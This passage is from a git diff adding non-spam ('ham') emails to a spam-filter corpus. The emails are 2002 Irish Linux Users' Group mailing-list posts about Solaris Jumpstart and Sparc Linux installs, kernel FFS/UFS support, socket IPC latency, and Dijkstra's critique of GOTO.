installation procedure is +> > "boot net - install" +> Talking of which, you can install Sparc Linux using this technique as well. +> The image takes a while to load, but once this is done you can install in +> the normal fashion. +Out of curiosity, does `normal fashion` mean that you still have to do the +interactive customisations or is it like Solaris jumpstart where you can +specify everything on the install server, do `boot net - install` go home, and +come in to a fully installed and patched desktop the next morning? + +> There are minor problems: like the serial console drivers, but for workstation +> installs I suspect it will work fine. +I don't see why this should be a _major problem. The prom (ie the "ok" prompt) +is almost at the hardware level and hence dosent depend on the os so you +should be able to connect to that easily enough. Once the machine is installed +cant you just log in over the network? The network is the computer after all +(sorry couldn't resist!) + +valen@tuatha.org said: +> side, Sun's terminal handling leaves a lot to be desired - it won't +> work properly on a Wyse 120+ for instance, no matter what emulation +> mode the Wyse is trying to do. +hmm... I'm not familiar with wyse stuff, but I only need to use the console +when something breaks, then anything capable of something basic like vt100 at +9600 8n1 seems to work . Not sure why you'd need to worry about this much +really, just set up jumpstart to install automatically then you don't need to +look at the console at all. + +Cheers, +~Al + +-- +Expressed in this posting are my opinions. They are in no way related +to opinions held by my employer, Sun Microsystems. +Statements on Sun products included here are not gospel and may +be fiction rather than truth. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00273.3d73db3ab6dc7c9cfc71126ae18b5b1b b/bayes/spamham/easy_ham_2/00273.3d73db3ab6dc7c9cfc71126ae18b5b1b new file mode 100644 index 0000000..6e522f3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00273.3d73db3ab6dc7c9cfc71126ae18b5b1b @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Tue Aug 6 14:17:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 66B9A44122 + for ; Tue, 6 Aug 2002 09:16:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 14:16:54 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76DFUk31068 for + ; Tue, 6 Aug 2002 14:15:30 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA31884; Tue, 6 Aug 2002 14:13:35 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA31861 for ; + Tue, 6 Aug 2002 14:13:30 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g76DDTY19099 for ; + Tue, 6 Aug 2002 14:13:29 +0100 +Date: Tue, 6 Aug 2002 14:13:27 +0100 +To: ilug@linux.ie +Subject: Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +Message-Id: <20020806141327.C18018@ie.suberic.net> +References: <20020806125617.F17211@ie.suberic.net> + <200208061404.aa38271@salmon.maths.tcd.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <200208061404.aa38271@salmon.maths.tcd.ie>; from + bradyn@maths.tcd.ie on Tue, Aug 06, 2002 at 02:04:11PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1029071609.d28773@ie.suberic.net, + ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 06, 2002 at 02:04:11PM +0100, Niall Brady wrote: +> >(guess who inspired them?). pc hardware is dumb, so you'll need to use +> >a floppy. otoh, every jumpstart config i've seen required rarp plus +> >plugging the new box's ethernet+ip into a file. a kickstart boot can +> >just use a dhcp server. +> Aye, but it'll still need a /boot/kickstart/$VER/$IP-kickstart won't it +> to proceed automatically? [or am I completely off track there?] + +it's been a while since i did a kickstart install. my memory is that +you put a file on a standard redhat boot disk that essentially scripts +the install. there are a slew of options - you can have it fetch it's +install script from a tftpd server for instance (similar to jumpstart), +or it can all be on the floppy. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00274.311fefe8182cf4103a41a41fbec2169c b/bayes/spamham/easy_ham_2/00274.311fefe8182cf4103a41a41fbec2169c new file mode 100644 index 0000000..cb51d77 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00274.311fefe8182cf4103a41a41fbec2169c @@ -0,0 +1,50 @@ +From ilug-admin@linux.ie Tue Aug 6 14:23:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8BDB844123 + for ; Tue, 6 Aug 2002 09:22:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 14:22:43 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76DLok31459 for + ; Tue, 6 Aug 2002 14:21:50 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA32186; Tue, 6 Aug 2002 14:19:50 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web21103.mail.yahoo.com (web21103.mail.yahoo.com + [216.136.227.105]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id OAA32148 + for ; Tue, 6 Aug 2002 14:19:43 +0100 +Message-Id: <20020806131941.89321.qmail@web21103.mail.yahoo.com> +Received: from [157.190.2.252] by web21103.mail.yahoo.com via HTTP; + Tue, 06 Aug 2002 23:19:41 EST +Date: Tue, 6 Aug 2002 23:19:41 +1000 (EST) +From: =?iso-8859-1?q?bryan=20roycroft?= +To: ilug@linux.ie +In-Reply-To: <200208060528.GAA12360@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] ffs +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +has anyone got information on enabling ffs support in +the kernel, i was looking around, and information on +the subject seems to be sparse. + +http://digital.yahoo.com.au - Yahoo! Digital How To +- Get the best out of your PC! + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00275.afb39e24c794534f4a8b1b5d0ff5b19d b/bayes/spamham/easy_ham_2/00275.afb39e24c794534f4a8b1b5d0ff5b19d new file mode 100644 index 0000000..20e6d19 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00275.afb39e24c794534f4a8b1b5d0ff5b19d @@ -0,0 +1,77 @@ +From ilug-admin@linux.ie Tue Aug 6 14:42:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ACA5D44138 + for ; Tue, 6 Aug 2002 09:41:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 14:41:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76DgOk32640 for + ; Tue, 6 Aug 2002 14:42:24 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA00834; Tue, 6 Aug 2002 14:39:14 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from pheriche.sun.com (pheriche.sun.com [192.18.98.34]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA00799 for ; + Tue, 6 Aug 2002 14:39:07 +0100 +Received: from sunire.Ireland.Sun.COM ([129.156.220.30]) by + pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA21335 for + ; Tue, 6 Aug 2002 07:39:05 -0600 (MDT) +Received: from sionnach.ireland.sun.com (sionnach [129.156.220.28]) by + sunire.Ireland.Sun.COM (8.11.6+Sun/8.11.6/ENSMAIL,v2.2) with ESMTP id + g76Dd4l08850 for ; Tue, 6 Aug 2002 14:39:04 +0100 (BST) +Received: from sionnach (localhost [127.0.0.1]) by + sionnach.ireland.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g76Dd4fE009771 + for ; Tue, 6 Aug 2002 14:39:04 +0100 (BST) +Message-Id: <200208061339.g76Dd4fE009771@sionnach.ireland.sun.com> +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: ilug@linux.ie +From: Albert White - SUN Ireland +Subject: Re: [ILUG] ffs +In-Reply-To: Your message of + "Tue, 06 Aug 2002 23:19:41 +1000." + <20020806131941.89321.qmail@web21103.mail.yahoo.com> +Date: Tue, 06 Aug 2002 14:39:04 +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, + +> has anyone got information on enabling ffs support in +> the kernel, i was looking around, and information on +> the subject seems to be sparse. +I have no clue about ffs but... + +In the 2.4 kernel source Documentation/Configure.help there are various kernel +options CONFIG_JFF* that enable it. + +http://developer.axis.com/software/jffs/ and http://sources.redhat.com/jffs2/ +are the URLs cited in that documentation. They have links to mailing lists and +archives which may be able to answer more specific questions. + +If you mean Amiga ffs, then thats selectable in the kernel config also :) + +Cheers, +~Al + +-- +Expressed in this posting are my opinions. They are in no way related +to opinions held by my employer, Sun Microsystems. +Statements on Sun products included here are not gospel and may +be fiction rather than truth. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00276.78e7158a768394040c73be015a28de0a b/bayes/spamham/easy_ham_2/00276.78e7158a768394040c73be015a28de0a new file mode 100644 index 0000000..04895b0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00276.78e7158a768394040c73be015a28de0a @@ -0,0 +1,69 @@ +From ilug-admin@linux.ie Tue Aug 6 15:04:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 23E5544126 + for ; Tue, 6 Aug 2002 10:04:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 15:04:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76E4Rk01519 for + ; Tue, 6 Aug 2002 15:04:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA01955; Tue, 6 Aug 2002 15:00:31 +0100 +Received: from corvil.com (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id PAA01916 + for ; Tue, 6 Aug 2002 15:00:24 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com (8.12.5/8.12.5) with ESMTP id g76E0NRx047014; Tue, + 6 Aug 2002 15:00:24 +0100 (IST) (envelope-from padraig.brady@corvil.com) +Message-Id: <3D4FD670.8070202@corvil.com> +Date: Tue, 06 Aug 2002 15:00:16 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: bryan roycroft +Cc: ilug@linux.ie +Subject: Re: [ILUG] ffs +References: <20020806131941.89321.qmail@web21103.mail.yahoo.com> +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +bryan roycroft wrote: +> has anyone got information on enabling ffs support in +> the kernel, i was looking around, and information on +> the subject seems to be sparse. + +Is this to mount an OS-X partition? +The following would be of interest in that case: +http://marc.theaimsgroup.com/?l=linux-kernel&m=101198676827824&w=2 + +summary is you should be able to mount FFS readonly, +and the config item probably UFS: + +[padraig@pixelbeat ~]$ grep UFS /boot/config-2.4.18-3 +CONFIG_UFS_FS=m +# CONFIG_UFS_FS_WRITE is not set + +So `modprobe ufs` should work on a standard RH7.3 install? + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00277.943b5336f2a39a88253257d0b6db1d32 b/bayes/spamham/easy_ham_2/00277.943b5336f2a39a88253257d0b6db1d32 new file mode 100644 index 0000000..9df1805 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00277.943b5336f2a39a88253257d0b6db1d32 @@ -0,0 +1,105 @@ +Return-Path: yyyy +Delivery-Date: Tue Aug 6 16:05:09 2002 +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 16:05:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76F4qk05381 for + ; Tue, 6 Aug 2002 16:04:52 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA04556; Tue, 6 Aug 2002 16:02:14 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp015.mail.yahoo.com (smtp015.mail.yahoo.com + [216.136.173.59]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id QAA04523 + for ; Tue, 6 Aug 2002 16:02:08 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 6 Aug 2002 15:02:05 -0000 +Message-Id: <006601c23d59$b7795100$3864a8c0@sabeo.ie> +From: "Matthew French" +To: "Albert White - SUN Ireland" + , +References: <200208061310.g76DA3fE009664@sionnach.ireland.sun.com> +Subject: Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +Date: Tue, 6 Aug 2002 15:58:19 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +BAD MSG: + + > And you get a working version of your favourite KDE/Gnome desktop +> > instead of DTE, uhm, I mean CDE. +> +> um.. http://wwws.sun.com/software/star/gnome/ integrated into solaris. + +Yeah yeah yeah. I tried it (over a year ago) and it sucked like a new vacuum +cleaner. Although I expect that it will be a lot better by now. What I would +really like to see is Gnome on one of the Sun Ray thin terminals. + +> Out of curiosity, does `normal fashion` mean that you still have to do the +> interactive customisations or is it like Solaris jumpstart where you can +> specify everything on the install server, do `boot net - install` go home, +and +> come in to a fully installed and patched desktop the next morning? + +Er, I mean normal fashion for a Linux install. This would be distro +specific, anyway. + +I am sure it would be possible to do an automated install with a few script +changes. I would not be surprised if Debian does this already. + +I do know that if you pass extra parameters on the boot command, they are +picked up by silo. So: + boot disk linux + +would not prompt for selection but would boot straight through. From there +it is a matter of tftp'ing the correct config file and the install would be +automatic from there on. + +> I don't see why this should be a _major problem. The prom (ie the "ok" +> prompt) +> is almost at the hardware level and hence dosent depend on the os so you +> should be able to connect to that easily enough. Once the machine is +installed +> cant you just log in over the network? The network is the computer after +all +> (sorry couldn't resist!) + +The problem is that the time between linux booting and when the console tty +drivers are started can be a black hole, without error messages or log in +prompts. The other problem is that sometimes Linux will drop in to the PROM +on shutdown instead of powering off or rebooting. Without a serial cable or +keyboard it is not possible to reboot the box without flicking the power +switch hidden at the back of the case. + +I think if the console is ttya/ttyS0 it will drop into PROM. If it is +/dev/null then you do not get console messages but the box will shut down +properly. + +- Matthew + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00278.f3d796448a64d0f66500884181458921 b/bayes/spamham/easy_ham_2/00278.f3d796448a64d0f66500884181458921 new file mode 100644 index 0000000..9b87de2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00278.f3d796448a64d0f66500884181458921 @@ -0,0 +1,77 @@ +From ilug-admin@linux.ie Wed Aug 7 13:07:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9F3FB440CD + for ; Wed, 7 Aug 2002 08:07:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 13:07:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g77C8Pk27494 for + ; Wed, 7 Aug 2002 13:08:25 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA20908; Wed, 7 Aug 2002 13:05:58 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA20871 + for ; Wed, 7 Aug 2002 13:05:49 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g77C5kn4037048; Wed, + 7 Aug 2002 13:05:47 +0100 (IST) (envelope-from padraig.brady@corvil.com) +Message-Id: <3D510D12.6020102@corvil.com> +Date: Wed, 07 Aug 2002 13:05:38 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: Vincent Cunniffe +Cc: ilug +Subject: Re: [ILUG] socket latency query +References: <3D510944.8090507@cunniffe.net> +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Vincent Cunniffe wrote: +> Does anyone have any practical experience with high-performance socket +> code in C++ under Linux, and is there any speed difference between unix +> domain sockets, loopback sockets, and a real ethernet interface if all +> of the packets are going from one process on the machine to another +> process on the same machine? + +In short yes. The more logic involved the longer +the CPU is executing it. I.E. there is more logic +executed (including NIC logic) when going down +to the metal than when using lo. So how much +logic is involved for each type of IPC (why +are you limiting yourself to sockets? there are +mutexes, shared mem, files, messages...). Anyway the +best IPC method to choose is dictated by the data +you want to communicate between the processes, +as the various IPC mechanisms are tuned for +various data types. + +IBM are running a series comparing doze and Linux IPC mechanisms. +The socket (which references the others at the bottom) is here: +http://www-106.ibm.com/developerworks/linux/library/l-rt6/?t=gr,Redhat=Sockets + +The following in google gave useful info also: +"linux IPC mechanisms compared" + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00279.260f32f061185e16ff3f66d31d0ecbfb b/bayes/spamham/easy_ham_2/00279.260f32f061185e16ff3f66d31d0ecbfb new file mode 100644 index 0000000..f1b6041 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00279.260f32f061185e16ff3f66d31d0ecbfb @@ -0,0 +1,74 @@ +From ilug-admin@linux.ie Thu Aug 8 14:10:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B74D94412D + for ; Thu, 8 Aug 2002 08:32:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:23 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CCr201516 for + ; Thu, 8 Aug 2002 13:12:53 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id MAA29799 for ; + Thu, 8 Aug 2002 12:18:46 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA11768; Thu, 8 Aug 2002 12:18:00 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp016.mail.yahoo.com (smtp016.mail.yahoo.com + [216.136.174.113]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id MAA11744 + for ; Thu, 8 Aug 2002 12:17:54 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 8 Aug 2002 11:17:51 -0000 +Message-Id: <011601c23ecc$b8787df0$3864a8c0@sabeo.ie> +From: "Matthew French" +To: +References: <200208081032.LAA09312@lugh.tuatha.org> + <20020808103749.GB1853@jinny.ie> +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Date: Thu, 8 Aug 2002 12:14:09 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +JPL suggested: +> Recursion is only truely useful if you have an infinite stack. People +> that think they have an infinite stack shouldn't be let near a compiler. + +Well, when studying engineering the rule of thumb was that infinity was 10 +times bigger then the most you could expect to use. + +Therefore I believe in infinite stack. + +But I do not feel I am a compiler risk either. So where does this leave me? + + + +- Matthew + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00280.c1b4460870441298c3040f1346a58dfd b/bayes/spamham/easy_ham_2/00280.c1b4460870441298c3040f1346a58dfd new file mode 100644 index 0000000..704b44b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00280.c1b4460870441298c3040f1346a58dfd @@ -0,0 +1,86 @@ +From ilug-admin@linux.ie Thu Aug 8 14:10:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 716984412E + for ; Thu, 8 Aug 2002 08:32:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:24 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CCw201529 for + ; Thu, 8 Aug 2002 13:12:58 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id MAA29778 for ; + Thu, 8 Aug 2002 12:16:10 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA11413; Thu, 8 Aug 2002 12:14:50 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from byron.heanet.ie (byron.heanet.ie [193.1.219.90]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA11378 for ; + Thu, 8 Aug 2002 12:14:41 +0100 +Received: from dhcp169.heanet.ie ([193.1.219.169] helo=heanet.ie) by + byron.heanet.ie with esmtp (Exim 4.05) id 17clGl-0003RN-00 for + ilug@linux.ie; Thu, 08 Aug 2002 12:15:55 +0100 +Message-Id: <3D52537D.8000104@heanet.ie> +Date: Thu, 08 Aug 2002 12:18:21 +0100 +From: Dave Wilson +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] slashdot EW Dijkstra humor +References: <200208081032.LAA09312@lugh.tuatha.org> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> Interesting. I've always wondered about things 'considered' to be bad. +> Example the GOTO, most languages support a goto of some sort, so are gotos really bad? + +Oh goodie. My final year project rears its head :-) + +> Is a loop or a recursive call actually any better than a goto +> or is the goto used as a kind of common enemy of +> programming syntax + +Much as I would like to answer an unqualified "yes", I must admit: if +you already code in a style that makes heavy use of GOTOs, coding in the +same style with GOSUBs or function calls does not improve code. Much the +same as when the manuals on "modular coding" said to write modules that +would fit on a single sheet of computer paper, lots of coders proceeded +to split their code into arbitrary 60-line chunks. :) + +However, "Go-to considered harmful" points out that to analyse (==debug) +code, you need to be able to tell what the point of execution is, and +what the values of the variables are at that point. This is an easy(tm) +job if the code uses assignment, if(), for() and functions, but not if +it uses GOTO. (See http://www.cs.utexas.edu/users/EWD/ewd02xx/EWD215.PDF +for the full letter). + +Despite being one of Dijkstra's brain-damaged children who learned BASIC +at an early age :) I never use GOTO anymore (or any of its bastard +offspring like break, continue, fudged function calls with sleight of +hand in the variables). My code is longer than it might be if I had used +GOTO at a critical, handy point. However, code is a bit like networks - +you always end up adding bits on where you didn't expect to - and the +benefit is felt when another person (like myself but in three months +time) is modifying or debugging it and doesn't have to go through the +hassle of dealing with the impact of the GOTO. + +Dave + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00281.8166d0f6c6bd6eb4ab1a9730ffbdf383 b/bayes/spamham/easy_ham_2/00281.8166d0f6c6bd6eb4ab1a9730ffbdf383 new file mode 100644 index 0000000..e198a6e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00281.8166d0f6c6bd6eb4ab1a9730ffbdf383 @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Thu Aug 8 14:11:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4D94A4412F + for ; Thu, 8 Aug 2002 08:32:25 -0400 (EDT) 